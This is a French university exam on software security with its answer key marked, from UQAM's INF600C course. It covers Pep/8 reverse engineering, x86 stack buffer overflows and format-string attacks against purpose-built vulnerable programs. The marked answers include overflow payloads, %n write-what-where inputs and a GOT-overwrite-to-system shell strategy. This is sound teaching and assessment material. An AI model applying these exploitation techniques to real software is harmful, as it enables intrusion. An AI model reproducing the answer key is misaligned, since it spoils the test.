Correction

Jean Privat — UQAM

INF600C — Sécurité des logiciels et exploitation de vulnérabilités

Examen final — Hiver 2018

Mercredi 24 avril — Durée 3 heures

☐0 ☐0 ☐0 ☐0 ☐0 ☐0 ☐0 ☐0
☐1 ☐1 ☐1 ☐1 ☐1 ☐1 ☐1 ☐1
☐2 ☐2 ☐2 ☐2 ☐2 ☐2 ☐2 ☐2
☐3 ☐3 ☐3 ☐3 ☐3 ☐3 ☐3 ☐3
☐4 ☐4 ☐4 ☐4 ☐4 ☐4 ☐4 ☐4
☐5 ☐5 ☐5 ☐5 ☐5 ☐5 ☐5 ☐5
☐6 ☐6 ☐6 ☐6 ☐6 ☐6 ☐6 ☐6
☐7 ☐7 ☐7 ☐7 ☐7 ☐7 ☐7 ☐7
☐8 ☐8 ☐8 ☐8 ☐8 ☐8 ☐8 ☐8
☐9 ☐9 ☐9 ☐9 ☐9 ☐9 ☐9 ☐9

⟵ Codez les 8 chiffres de votre code permanent ci-contre, et inscrivez-le à nouveau ci-dessous avec vos nom et prénom.

Code permanent :

.....

Nom :

.....

Prénom :

.....

Aucun document n'est autorisé. L'usage de la calculatrice ou tout autre appareil électronique est interdit.

Les questions faisant apparaître le symbole ♣ peuvent présenter zéro, une ou plusieurs bonnes réponses. Les autres ont une unique bonne réponse.

Des points négatifs pourront être affectés à de *très mauvaises* réponses.

Important : noircissez complètement l'intérieur de chaque case (pas de croix, pas de cercles).

0x10 Généralités

Question 1 En sécurité informatique, que signifie le A de « ASLR » ?

- ☐ Advanced
- ☐ Anonymous
- ☐ Automatic
- ■ Address
- ☐ American
- ☐ Access
- ☐ Arithmetic
- ☐ Administrator
- ☐ Application
- ☐ Avatar

Question 2 En sécurité informatique, quel type d'attaque a pour contre-mesure NX (*no execute*) ?

- ☐ La corruption de pile
- ☐ La corruption de la GOT
- ☐ La programmation orientée retours (ROP)
- ☐ Le retour au programme principal (ret2text)
- ☐ Les attaques de désérialisation
- ■ L'injection de shellcode
- ☐ Les attaques par force brute
- ☐ Le retour à la libc (ret2libc)

0x20 Rétro ingénierie Pep/8

Soit le code machine Pep/8 suivant. Note : la spécification du Pep/8 est en annexe.

```
41 00 18 31 00 27 C1 00 16 B1 00 27 0A 00 12 41
00 1E 41 00 23 00 00 4E 50 49 4E 3A 20 00 50 61
73 20 00 4F 4B 21 0A 00 53 4C 41 47 21 0A 00 zz
```

Question 3 Quel est le premier mot affiché par le programme quand on l'exécute ?

☐ «NOMBRE»	☐ «Nb»	☐ «nb»	☐ «nip»
☐ «pin»	☐ «NIP»	☐ «Nombre»	■ «PIN»
☐ «Nip»	☐ «nombre»	☐ «NB»	☐ «Pin»

Question 4 Quel est le nombre secret ?

☐ 40	☐ 2	■ 78	☐ 64	☐ 48	☐ 73	☐ 123
☐ 28	☐ 1	☐ 49	☐ 19	☐ 66	☐ 50	☐ 0

Question 5 Quelle est l'entrée à utiliser pour que le programme affiche «FLAG» ?
Rappel : STRO affiche jusqu'à rencontrer un octet nul. Les entiers Pep/8 sont en 16 bits signés, gros-boutistes.

☐ -254	☐ 256	☐ -256	☐ 0x66	☐ 555	☐ -1	☐ 255
■ 326	☐ -102	☐ 254	☐ 512	☐ 0	☐ 66	☐ FL

0x21 Exploitation Pep/8

Soit le listing du programme Pep/8 suivant, qui, lorsqu'il est exécuté avec l'entrée « 1 A 2 B 3 C 0 », affiche « ABC ».

```
Addr  Code   Symbol   Mnemon  Operand
-----------------------------------------
0000  310031 loop:    DECI    n,d
0003  C90031          LDX     n,d
0006  B80000          CPX     0,i
0009  0A002D          BREQ    fin
000C  B80014          CPX     20,i
000F  0E002D          BRGE    fin
0012  880001          SUBX    1,i
0015  4D0033          CHARI   str,x
0018  C00000          LDA     0,i
001B  D50033          LDBYTEA str,x
001E  B00047          CPA     'G',i
0021  0C0000          BRNE    loop
0024  C00050          LDA     'P',i
0027  F50033          STBYTEA str,x
002A  040000          BR      loop
002D  410033 fin:     STRO    str,d
0030  00              STOP
0031  0000   n:       .BLOCK  2
0033  000000 str:     .BLOCK  20
      000000
      000000
      000000
      000000
      000000
      0000
0047  464C41 flag:    .ASCII  "FLAG\n\x00"
      470A00
004D                  .END
```

Question 6 Qu'affiche le programme pour l'entrée « 1 G 3 G 2 E 0 * 4 8 -1 0 » ?

☐ PPE	☐ *GEG8	☐ GEG	☐ GEG8
☐ PEP8	☐ *PEP8	☐ *PEP	☐ GGE8
☐ *GGE8	☐ PEG8	☐ *PPE8	☐ *GEG
☐ *GGE	☐ *PEG	■ PEP	☐ *PPE
☐ GGE	☐ PPE8	☐ PEG	☐ *PEG8

Question 7 ♣ Parmi les fragilités suivantes, indiquez toutes celles qui s'appliquent au programme. Indiquez les bugs présents même s'ils ne semblent pas exploitables.

- ☐ CWE-121 Débordement de tampon dans la pile (*Stack-based Buffer Overflow*)
- ■ CWE-124 Écriture avant le tampon (*Buffer Underflow*)
- ☐ CWE-193 Erreur d'une unité (*Off-by-one Error*)
- ■ CWE-XXX Corruption en mémoire de code machine exécutable (pas de CWE associé)
- ☐ CWE-122 Débordement de tampon dans le tas (*Heap-based Buffer Overflow*)
- ☐ CWE-369 Division par zéro
- ☐ CWE-476 Déréférencement de NULL (*NULL Pointer Dereference*)
- ☐ CWE-416 Utilisation après libération (*Use After Free*)
- ☐ *Aucune de ces réponses n'est correcte.*

Question 8 Proposez une entrée (*payload*) à utiliser pour que le programme affiche «FLAG». Décrivez l'attaque utilisée et expliquez l'effet de l'entrée sur l'exécution du programme.

Note : mon entrée fait moins de 16 caractères, espaces compris.

☐A ☐B ☐C ☐D ☐E ■F

.....

.....

.....

.....

.....

.....

.....

.....

.....

0x30 Exploitation binaire x86

Soit le programme C suivant.

```
1  #include<stdlib.h>
2  #include<stdio.h>
3  #include<string.h>
4  void lire(char *q, char *r) {
5    puts(q);
6    fgets(r, 200, stdin);
7    r[strlen(r)-1] = '\0'; // remove '\n'
8  }
9  void bonjour(int level) {
10   int getflag = 0;
11   char prenom[8];
12   char nom[8];
13   if (level>1) getflag = 0xc0fefe;
14   if (level>9000) system("cat flag3.txt");
15   lire("Bonjour, quel est votre nom?", nom);
16   if (strcmp(nom, "admin")==0 && getflag) system("cat flag1.txt");
17   if (getflag == 0xc0fefe) system("cat flag2.txt");
18   lire("Et quel est votre prénom?", prenom);
19   printf("Bonjour %s %s!\n", prenom, nom);
20 }
21 int main(int argc, char **argv) {
22   bonjour(1);
23   return 0;
24 }
```

Il a été compilé avec les mécanismes de sécurité suivants désactivés ; ASLR est également désactivé sur le système.

```
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
```

Voici également la documentation des fonctions C utilisées :

`char *fgets(char *s, int size, FILE *stream);` La fonction fgets() lit au plus size - 1 caractères depuis stream et les place dans le tampon pointé par s. La lecture s'arrête après la fin du fichier ou un retour chariot. Si un retour chariot (newline) est lu, il est placé dans le tampon. Un octet nul (« \0 ») final est placé à la fin de la ligne. fgets() renvoie le pointeur s en cas de succès et NULL en cas d'erreur, ou si la fin de fichier est atteinte avant d'avoir pu lire au moins un caractère.

`size_t strlen(const char *s);` La fonction strlen() calcule la longueur de la chaîne de caractères s, sans compter l'octet nul (« \0 ») final.

`int strcmp(const char *s1, const char *s2);` La fonction strcmp() compare les deux chaînes s1 et s2. Elle renvoie un entier négatif, nul, ou positif, si s1 est respectivement inférieure, égale ou supérieure à s2.

Correction

Question 9 ♣ Parmi les fragilités suivantes, indiquez toutes celles qui s'appliquent au programme. Indiquez les bugs présents même s'ils ne semblent pas exploitables.

- [ ] CWE-369 Division par zéro
- [x] CWE-124 Écriture avant le tampon (*Buffer Underflow*)
- [ ] CWE-193 Erreur d'une unité (*Off-by-one Error*)
- [ ] CWE-416 Utilisation après libération (*Use After Free*)
- [ ] CWE-122 Débordement de tampon dans le tas (*Heap-based Buffer Overflow*)
- [ ] CWE-XXX Corruption en mémoire de code machine exécutable (pas de CWE associé)
- [ ] CWE-476 Déréférencement de NULL (*NULL Pointer Dereference*)
- [x] CWE-121 Débordement de tampon dans la pile (*Stack-based Buffer Overflow*)
- [ ] *Aucune de ces réponses n'est correcte.*

Question 10 L'utilisateur exécute « `printf "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL" | ltrace -i ./prog` ». Expliquez pourquoi le programme se termine avec « `[0x49494949] --- SIGSEGV (Segmentation fault)` »

- [ ] L'adresse de retour de la fonction `lire` a été corrompue
- [ ] L'adresse de retour de la fonction `fgets` a été corrompue
- [ ] L'adresse de la pile a été corrompue
- [ ] L'adresse de retour de la fonction `printf` a été corrompue
- [ ] L'adresse de retour de la fonction `main` a été corrompue
- [ ] L'adresse de la fonction `bonjour` a été corrompue
- [ ] L'adresse de la fonction `main` a été corrompue
- [ ] L'adresse de la fonction `fgets` a été corrompue
- [ ] L'adresse du tas a été corrompue
- [ ] La GOT a été corrompue
- [ ] L'adresse de la fonction `lire` a été corrompue
- [ ] L'adresse de la fonction `printf` a été corrompue
- [ ] L'adresse de retour de la fonction `strcmp` a été corrompue
- [ ] Le registre d'état a été corrompu
- [x] L'adresse de retour de la fonction `bonjour` a été corrompue
- [ ] L'adresse de la fonction `strcmp` a été corrompue

Question 11 L'attaquant veut afficher le premier flag (flag1.txt). Quelle entrée (*payload*) doit-il utiliser ?
Indice : relisez bien la fonction `lire`.

- [ ] `adminadminadminadminadminadminadminadminadmin`
- [ ] `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMIN`
- [x] `adminA\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
- [ ] `admin1111111111111111111111111111111111111111111`
- [ ] `\0admin`
- [ ] `adminAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
- [ ] `admin`
- [ ] `ADMIN`
- [ ] `admin\0`
- [ ] `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0admin`
- [ ] `admin\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
- [ ] `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`
- [ ] `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAadmin`

0x31 Code désassemblé de la fonction bonjour

```
08048574 <bonjour>:
 8048574: 55                    push   ebp
 8048575: 89 e5                 mov    ebp,esp
 8048577: 83 ec 28              sub    esp,0x28
 804857a: c7 45 f4 00 00 00 00  mov    DWORD PTR [ebp-0xc],0x0
 8048581: 83 7d 08 01           cmp    DWORD PTR [ebp+0x8],0x1
 8048585: 7e 07                 jle    804858e <bonjour+0x1a>
 8048587: c7 45 f4 fe fe c0 00  mov    DWORD PTR [ebp-0xc],0xc0fefe
 804858e: 81 7d 08 28 23 00 00  cmp    DWORD PTR [ebp+0x8],0x2328
 8048595: 7e 10                 jle    80485a7 <bonjour+0x33>
 8048597: 83 ec 0c              sub    esp,0xc
 804859a: 68 e0 86 04 08        push   0x80486e0
 804859f: e8 2c fe ff ff        call   80483d0 <system@plt>
 80485a4: 83 c4 10              add    esp,0x10
 80485a7: 83 ec 08              sub    esp,0x8
 80485aa: 8d 45 e4              lea    eax,[ebp-0x1c]
 80485ad: 50                    push   eax
 80485ae: 68 ee 86 04 08        push   0x80486ee
 80485b3: e8 73 ff ff ff        call   804852b <lire>
 80485b8: 83 c4 10              add    esp,0x10
 80485bb: 83 ec 08              sub    esp,0x8
 80485be: 68 0b 87 04 08        push   0x804870b
 80485c3: 8d 45 e4              lea    eax,[ebp-0x1c]
 80485c6: 50                    push   eax
 80485c7: e8 c4 fd ff ff        call   8048390 <strcmp@plt>
 80485cc: 83 c4 10              add    esp,0x10
 80485cf: 85 c0                 test   eax,eax
 80485d1: 75 16                 jne    80485e9 <bonjour+0x75>
 80485d3: 83 7d f4 00           cmp    DWORD PTR [ebp-0xc],0x0
 80485d7: 74 10                 je     80485e9 <bonjour+0x75>
 80485d9: 83 ec 0c              sub    esp,0xc
 80485dc: 68 11 87 04 08        push   0x8048711
 80485e1: e8 ea fd ff ff        call   80483d0 <system@plt>
 80485e6: 83 c4 10              add    esp,0x10
 80485e9: 81 7d f4 fe fe c0 00  cmp    DWORD PTR [ebp-0xc],0xc0fefe
 80485f0: 75 10                 jne    8048602 <bonjour+0x8e>
 80485f2: 83 ec 0c              sub    esp,0xc
 80485f5: 68 1f 87 04 08        push   0x804871f
 80485fa: e8 d1 fd ff ff        call   80483d0 <system@plt>
 80485ff: 83 c4 10              add    esp,0x10
 8048602: 83 ec 08              sub    esp,0x8
 8048605: 8d 45 ec              lea    eax,[ebp-0x14]
 8048608: 50                    push   eax
 8048609: 68 2d 87 04 08        push   0x804872d
 804860e: e8 18 ff ff ff        call   804852b <lire>
 8048613: 83 c4 10              add    esp,0x10
 8048616: 83 ec 04              sub    esp,0x4
 8048619: 8d 45 e4              lea    eax,[ebp-0x1c]
 804861c: 50                    push   eax
 804861d: 8d 45 ec              lea    eax,[ebp-0x14]
 8048620: 50                    push   eax
 8048621: 68 48 87 04 08        push   0x8048748
 8048626: e8 75 fd ff ff        call   80483a0 <printf@plt>
 804862b: 83 c4 10              add    esp,0x10
 804862e: 90                    nop
 804862f: c9                    leave
 8048630: c3                    ret
```

Question 12 L'attaquant veut afficher le second flag (flag2.txt). Quelle entrée (*payload*) doit-il utiliser ?

- ☐ `AAAABBBBCCCCDDDDEEEEFFFF\xc0\xfe\xfe\n`
- ☐ `AAAABBBBCCCC\xc0\xfe\xfe\n`
- ■ `AAAABBBBCCCCDDDD\xfe\xfe\xc0\n`
- ☐ `AAAABBBBCCCCDDDD\xc0\xfe\xfe\n`
- ☐ `AAAABBBBCCCCDDDDEEEEFFFFGGGG\xc0\xfe\xfe\n`
- ☐ `AAAABBBBCCCCDDDDEEEE\xc0\xfe\xfe\n`
- ☐ `AAAABBBBCCCCDDDDEEEEFFFFGGGG\xfe\xfe\xc0\n`
- ☐ `AAAABBBBCCCCDDDDEEEEFFFF\xfe\xfe\xc0\n`
- ☐ `AAAABBBBCCCCDDDDEEEE\xfe\xfe\xc0\n`
- ☐ `AAAABBBBCCCC\xfe\xfe\xc0\n`

Question 13 Pour avoir le troisième flag (flag3.txt), avec quelle valeur l'attaquant doit-il écraser l'adresse de retour ?

- ☐ `0x0804858e`
- ☐ `0x00000000`
- ■ `0x0804859a`
- ☐ `0x080486e0`
- ☐ `0x080485a4`
- ☐ `0xffffffff`
- ☐ `0x08048630`
- ☐ `0x00c0fefe`
- ☐ `0x0804859f`
- ☐ `0x080483d0`
- ☐ `0x08048574`
- ☐ `0x08048595`

Question 14 ♣ Parmi les contre-mesures de sécurité suivantes, lesquelles auraient empêché l'attaque précédente (flag3.txt).

- ■ Canari de pile (*stack canary*)
- ☐ Renforcement de source (*fortify source*)
- ☐ RELRO (*relocation readonly*)
- ■ ASLR avec PIE (*position independent executable*)
- ☐ Témoin de session (*session cookie*)
- ☐ ASLR sans PIE (*position independent executable*)
- ☐ NX (*no-execute*)
- ☐ *Aucune de ces réponses n'est correcte.*

Question 15 En considérant qu'aucune des contre-mesures précédentes n'est activée, décrivez une stratégie d'exploitation qui donnerait à l'attaquant un shell interactif. Détaillez précisément les étapes de la mise en œuvre et leurs effets sur l'exécution du programme.

☐A ☐B ☐C ☐D ☐E ■F

.....

.....

.....

.....

.....

.....

.....

.....

0x40 Format de chaîne

Perceval a pris l'initiative d'implémenter un système d'authentification en C :

```
1  #include<stdlib.h>
2  #include<stdio.h>
3  #include<string.h>
4
5  /* Récupère le code de la base de donnée.
6   * Après utilisation, le résultat doit être libéré avec free. */
7  char *get_le_code_from_db(void);
8
9  char ligne[128];
10 int verifie_le_code(int *sire) {
11   char *le_code = get_le_code_from_db();
12   for(int i=0; i<3; i++) {
13     printf("Quel est le code?\n");
14     char *res = fgets(ligne, sizeof(ligne), stdin);
15     if (res == NULL) break;
16     if (strcmp(le_code, ligne) == 0) {
17       printf("Code bon. FLAG1!\n");
18       free(le_code);
19       return 1;
20     } else if (*sire == 1337) {
21       printf("Désolé Sire, ce n'est pas le code, mais voici un FLAG2.\n");
22       system("cat flag2.txt");
23     } else {
24       printf("Désolé, le code n'est pas: ");
25       printf(ligne);
26     }
27   }
28   free(le_code);
29   return 0;
30 }
```

Le chef de guerre Lancelot du Lac, dans un excès de gentillesse, lui explique que la ligne 25 contient la vulnérabilité CWE-134 : Utilisation d'un format de chaîne contrôlé par l'utilisateur.

En effet, printf est une fonction variadique et ses arguments sont passés sur la pile en 80386. Or c'est le premier argument de printf, le format, qui précise, à l'aide des indicateurs %, le nombre d'arguments variadiques et pour chacun son interprétation.

Les indicateurs communs sont :

%c L'argument est de type int ; il est converti en un unsigned char, et le caractère correspondant est affiché.

%d L'argument est de type int ; il est converti en un nombre décimal signé.

%n L'argument associé est de type int * ; le nombre de caractères déjà affichés est stocké dans l'entier pointé par l'argument. %n est un indicateur particulier qui n'affiche rien mais écrit un nombre en mémoire. Ainsi `printf("TO%d%nXXX", 70, &i);` affiche "TO70XXX" et écrit 4 dans l'entier i.

%p L'argument est de type void * ; il est affiché en hexadécimal. (nil) est affiché si le pointeur est NULL.

%s L'argument est de type const char * ; les caractères de la chaîne sont écrits jusqu'à l'octet nul (« \0 ») final, non compris.

%x L'argument est de type unsigned int ; il est converti en un nombre hexadécimal non signé.

taille Un nombre optionnel ne commençant pas par un zéro, peut indiquer une largeur minimale de champ. Si la valeur convertie occupe moins de caractères que cette largeur, elle sera complétée par des espaces à gauche. Ainsi `printf("%5x", 10)` affiche 4 espaces puis "a"

**$** Précise explicitement quel argument prendre. En écrivant « %m$ » au lieu de « % », l'entier décimal m indique la position dans la liste d'arguments, l'indexation commençant à 1. Ainsi, `printf("%d%s", 10, "hello")` et `printf("%2$d%1$s", "hello", 10)` sont équivalents et affichent "10hello"

0x41 Fuite d'information

Un attaquant peut donc injecter un format contenant des indicateurs % afin de faire fuiter des informations de la pile, comme des adresses. Pour illustrer son point, Lancelot demande à Perceval d'entrer, par trois fois, « `%p %p %p %p %p %p %p` ». Le programme affiche alors :

```
Désolé, le code n'est pas: 0x804a060 0x973e160 (nil) 0xff9cae68 0x804866c 0x804a034 (nil)
Désolé, le code n'est pas: 0x804a060 0x973e160 0x1 0xff9cae68 0x804866c 0x804a034 (nil)
Désolé, le code n'est pas: 0x804a060 0x973e160 0x2 0xff9cae68 0x804866c 0x804a034 (nil)
```

Note : ASLR est activé sur la machine mais le programme n'est pas compilé avec PIE. Voici toutefois le fichier /proc/pid/maps du processus exécuté par Perceval.

```
08048000-08049000 r-xp 00000000 08:07 1054932 format
08049000-0804a000 r--p 00000000 08:07 1054932 format
0804a000-0804b000 rw-p 00001000 08:07 1054932 format
0973e000-09760000 rw-p 00000000 00:00 0       [heap]
f7ce5000-f7eb7000 r-xp 00000000 08:07 8520035 libc-2.27.so
f7eb7000-f7eb8000 ---p 001d2000 08:07 8520035 libc-2.27.so
f7eb8000-f7eba000 r--p 001d2000 08:07 8520035 libc-2.27.so
f7eba000-f7ebb000 rw-p 001d4000 08:07 8520035 libc-2.27.so
f7ebb000-f7ebe000 rw-p 00000000 00:00 0
f7efa000-f7efc000 rw-p 00000000 00:00 0
f7efc000-f7eff000 r--p 00000000 00:00 0       [vvar]
f7eff000-f7f01000 r-xp 00000000 00:00 0       [vdso]
f7f01000-f7f27000 r-xp 00000000 08:07 8519959 ld-2.27.so
f7f27000-f7f28000 r--p 00025000 08:07 8519959 ld-2.27.so
f7f28000-f7f29000 rw-p 00026000 08:07 8519959 ld-2.27.so
ff9ab000-ff9cc000 rw-p 00000000 00:00 0       [stack]
```

Question 16 Pourquoi la valeur de chacun des 5 gros pointeurs affichés est identique sur chacune des 3 lignes ?

- ☐ Il n'y a pas de pointeur dans la pile, %p est juste une interprétation des octets qui s'y trouvent.
- ☐ Tous ces pointeurs pointent en fait sur des zones fixes qui sont insensibles à ASLR.
- ☐ ASLR casualise (*randomize*) les adresses de départ des segments et non la valeur des pointeurs.
- ☐ ASLR se désactive parfois sans raison.
- ☐ ASLR ne fonctionne que si le programme est PIE.
- ☐ La fonction printf vient de la libc, or la libc n'est pas compilée avec ASLR.
- ☐ Pour faciliter le débogage, l'indicateur %p de printf suspend ASLR.
- ■ Les adresses sont casualisées (*randomized*) à chaque exécution.

Question 17 À quoi correspond le seul élément affiché qui varie (c'est le troisième) ? ☐A ☐B ☐C ☐D ☐E ■F

.....

.....

Question 18 Quelle entrée permet d'afficher le contenu du code (qui servira ensuite à l'attaquant pour afficher le FLAG1) ? Indice : Déterminez dans quel segment de mémoire est stockée la chaîne de caractères pointée par la variable locale `le_code`. Relisez bien la spécification de $

☐ `%4$c\n`	☐ `%5$c\n`	☐ `%5$p\n`	☐ `%6$s\n`
☐ `%2$c\n`	☐ `%2$p\n`	☐ `%6$p\n`	■ `%2$s\n`
☐ `%4$p\n`	☐ `%6$c\n`	☐ `%4$s\n`	☐ `%5$s\n`

0x42 Corruption mémoire

Question 19 Quelle entrée (*payload*) permet de se faire passer pour le Roi Arthur, et donc d'afficher le FLAG2 ?
Indice : relisez bien la spécification de %n

☐ `%6$c%1337$n\n\n`	☐ `%6$n%1337$c\n\n`	☐ `%6n%1337$c\n\n`	☐ `%1337$c%6n\n\n`
☐ `%1337$c%6$n\n\n`	☐ `%6$n%1337n\n\n`	☐ `%1337$n%6n\n\n`	■ `%1337c%6$n\n\n`
☐ `%6$c%1337n\n\n`	☐ `%1337n%6$c\n\n`	☐ `%6$n%1337c\n\n`	☐ `%6c%1337$n\n\n`
☐ `%1337n%6$n\n\n`	☐ `%1337$n%6$c\n\n`	☐ `%1337$n%6c\n\n`	☐ `%6n%1337$n\n\n`

Question 20 Proposez une entrée (*payload*) complète qui permet d'écrire la valeur 134513712 (0x08048430) à l'adresse mémoire 134520848 (0x0804a010) — note : ces valeurs sont choisies pour remplacer l'entrée de la fonction printf dans la GOT par la fonction system, ce qui ultimement donne un shell à l'attaquant.
Vous exploiterez le pointeur qui pointe sur la pile pour mettre en œuvre une attaque de type *write-what-where*. En effet, ce pointeur pointe précisément sur le dernier élément affiché par Perceval (le septième, soit %7$) — note : ce pointeur est en réalité la valeur du registre EBP qui a été empilé lors du prologue de la fonction `verifie_le_code`.
Décrivez la stratégie utilisée et expliquez l'effet des éléments du payload sur l'exécution du programme.

Indice : mon entrée fait moins de 40 caractères, espaces et lancement du shell compris. ☐A ☐B ☐C ☐D ☐E ■F

.....

.....

.....

.....

.....

.....

.....

.....

.....

.....

0x50 Annexes (détachable)

0x51 39 instructions Pep/8

Spécificateur Binaire	Hex	Instruction	Signification	Modes d'adressage	Conditions affectées
00000000	00	STOP	Arrêt de l'exécution du programme		
00000001	01	RETTR	Retour d'interruption		
00000010	02	MOVSPA	Placer SP dans A		
00000011	03	MOVFLGA	Placer NZVC dans A		
0000010a	04, 05	BR	Branchement inconditionnel	i,x	
0000011a	06, 07	BRLE	Branchement si inférieur ou égal	i,x	
0000100a	08, 09	BRLT	Branchement si inférieur	i,x	
0000101a	0A, 0B	BREQ	Branchement si égal	i,x	
0000110a	0C, 0D	BRNE	Branchement si non égal	i,x	
0000111a	0E, 0F	BRGE	Branchement si supérieur ou égal	i,x	
0001000a	10, 11	BRGT	Branchement si supérieur	i,x	
0001001a	12, 13	BRV	Branchement si débordement	i,x	
0001010a	14, 15	BRC	Branchement si retenue	i,x	
0001011a	16, 17	CALL	Appel de sous-programme	i,x	
0001100r	18, 19	NOTr	NON bit-à-bit du registre		NZ
0001101r	1A, 1B	NEGr	Opposé du registre		NZV
0001110r	1C, 1D	ASLr	Décalage arithmétique à gauche du registre		NZVC
0001111r	1E, 1F	ASRr	Décalage arithmétique à droite du registre		NZC
0010000r	20, 21	ROLr	Décalage cyclique à gauche du registre		C
0010001r	22, 23	RORr	Décalage cyclique à droite du registre		C
001001nn	24–27	NOPn	Interruption unaire pas d'opération		
00101aaa	28–2F	NOP	Interruption non unaire pas d'opération	i	
00110aaa	30–37	DECI	Interruption d'entrée décimale	d,n,s,sf,x,sx,sxf	NZV
00111aaa	38–3F	DECO	Interruption de sortie décimale	i,d,n,s,sf,x,sx,sxf	
01000aaa	40–47	STRO	Interruption de sortie de chaîne	d,n,sf	
01001aaa	48–4F	CHARI	Lecture caractère	d,n,s,sf,x,sx,sxf	
01010aaa	50–57	CHARO	Sortie caractère	i,d,n,s,sf,x,sx,sxf	
01011nnn	58–5F	RETn	Retour d'un appel avec n octets locaux		
01100aaa	60–67	ADDSP	Addition au pointeur de pile (SP)	i,d,n,s,sf,x,sx,sxf	NZVC
01101aaa	68–6F	SUBSP	Soustraction au pointeur de pile (SP)	i,d,n,s,sf,x,sx,sxf	NZVC
0111raaa	70–7F	ADDr	Addition au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1000raaa	80–8F	SUBr	Soustraction au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1001raaa	90–9F	ANDr	ET bit-à-bit du registre	i,d,n,s,sf,x,sx,sxf	NZ
1010raaa	A0–AF	ORr	OU bit-à-bit du registre	i,d,n,s,sf,x,sx,sxf	NZ
1011raaa	B0–BF	CPr	Comparer au registre	i,d,n,s,sf,x,sx,sxf	NZVC
1100raaa	C0–CF	LDr	Placer 2 octets (un mot) dans registre	i,d,n,s,sf,x,sx,sxf	NZ
1101raaa	D0–DF	LDBYTEr	Placer octet dans registre (bits 0-7)	i,d,n,s,sf,x,sx,sxf	NZ
1110raaa	E0–EF	STr	Ranger registre dans 1 mot	d,n,s,sf,x,sx,sxf	
1111raaa	F0–FF	STBYTEr	Ranger registre (bits 0-7) dans 1 octet	d,n,s,sf,x,sx,sxf	

0x52 8 directives Pep/8

Directive	Signification
.BYTE	Réserve 1 octet mémoire avec valeur initiale.
.WORD	Réserve 1 mot mémoire avec valeur initiale.
.BLOCK	Réserve un nombre d'octets mis à zéro.
.ASCII	Réserve l'espace mémoire pour une chaîne de caractères (ex : "Chaîne").
.ADDRSS	Réserve 1 mot mémoire pour un pointeur.
.EQUATE	Attribue une valeur à une étiquette.
.END	Directive obligatoire de fin d'assemblage qui doit être à la fin du code.
.BURN	Le programme se terminera à l'adresse spécifiée par l'opérande. Ce qui suit .BURN est écrit en ROM.

0x53 8 modes d'adressage Pep/8

Mode	aaa	a	Lettres	Opérande
Immédiat	000	0	i	Spec
Direct	001		d	mem[Spec]
Indirect	010		n	mem[mem[Spec]]
Sur la pile	011		s	mem[PP+Spec]]
Indirect sur la pile	100		sf	mem[mem[PP+Spec]
Indexé	101	1	x	mem[Spec + X]
Indexé sur la pile	110		sx	mem[PP+Spec+X]]
Indirect indexé sur la pile	111		sxf	mem[mem[PP+Spec]+X]

0x54 9 registres Pep/8

Symbole	r	Description	Taille
N		Négatif	1 bit
Z		Nul (Zero)	1 bit
V		Débordement (Overflow)	1 bit
C		Retenue (Carry)	1 bit
A	0	Accumulateur	2 octets (un mot)
X	1	Registre d'index	2 octets (un mot)
PP		Pointeur de pile (SP)	2 octets (un mot)
CO		Compteur ordinal (PC)	2 octets (un mot)
IR{		Spécificateur d'instruction	1 octet
Spec		Spécificateur d'opérande	2 octets (un mot)

0x55 Table ASCII

Dec	Hex		Dec	Hex		Dec	Hex		Dec	Hex	
0	00	NUL '\0'	32	20	Espace ' '	64	41	@	96	60	‘
1	01	SOH (début d'en-tête)	33	21	!	65	41	A	97	61	a
2	02	STX (début de texte)	34	22	”	66	42	B	98	62	b
3	03	ETX (fin de texte)	35	23	#	67	43	C	99	63	c
4	04	EOT (fin de transmission)	36	24	$	68	44	D	100	64	d
5	05	ENQ (demande)	37	25	%	69	45	E	101	65	e
6	06	ACK (accusé de réception)	38	26	&	70	46	F	102	66	f
7	07	BEL '\a' (sonnerie)	39	27	’	71	47	G	103	67	g
8	08	BS '\b' (espace arrière)	40	28	(	72	48	H	104	68	h
9	09	HT '\t' (tab. horizontale)	41	29	)	73	49	I	105	69	i
10	0A	LF '\n' (changement ligne)	42	2A	*	74	4A	J	106	6A	j
11	0B	VT '\v' (tab. verticale)	43	2B	+	75	4B	K	107	6B	k
12	0C	FF '\f' (saut de page)	44	2C	,	76	4C	L	108	6C	l
13	0D	CR '\r' (retour chariot)	45	2D	-	77	4D	M	109	6D	m
14	0E	SO (hors code)	46	2E	.	78	4E	N	110	6E	n
15	0F	SI (en code)	47	2F	/	79	4F	O	111	6F	o
16	10	DLE (échap. transmission)	48	30	0	80	50	P	112	70	p
17	11	DC1 (commande dispositif 1)	49	31	1	81	51	Q	113	71	q
18	12	DC2 (commande dispositif 2)	50	32	2	82	52	R	114	72	r
19	13	DC3 (commande dispositif 3)	51	33	3	83	53	S	115	73	s
20	14	DC4 (commande dispositif 4)	52	34	4	84	54	T	116	74	t
21	15	NAK (accusé réception nég.)	53	35	5	85	55	U	117	75	u
22	16	SYN (synchronisation)	54	36	6	86	56	V	118	76	v
23	17	ETB (fin bloc transmission)	55	37	7	87	57	W	119	77	w
24	18	CAN (annulation)	56	38	8	88	58	X	120	78	x
25	19	EM (fin de support)	57	39	9	89	59	Y	121	79	y
26	1A	SUB (substitution)	58	3A	:	90	5A	Z	122	7A	z
27	1B	ESC (échappement)	59	3B	;	91	5B	[	123	7B	{
28	1C	FS (séparateur fichiers)	60	3C	<	92	5C	\	124	7C	|
29	1D	GS (séparateur de groupes)	61	3D	=	93	5D	]	125	7D	}
30	1E	RS (sép. enregistrements)	62	3E	>	94	5E	^	126	7E	~
31	1F	US (sép. de sous-articles)	63	3F	?	95	5F	_	127	7F	DEL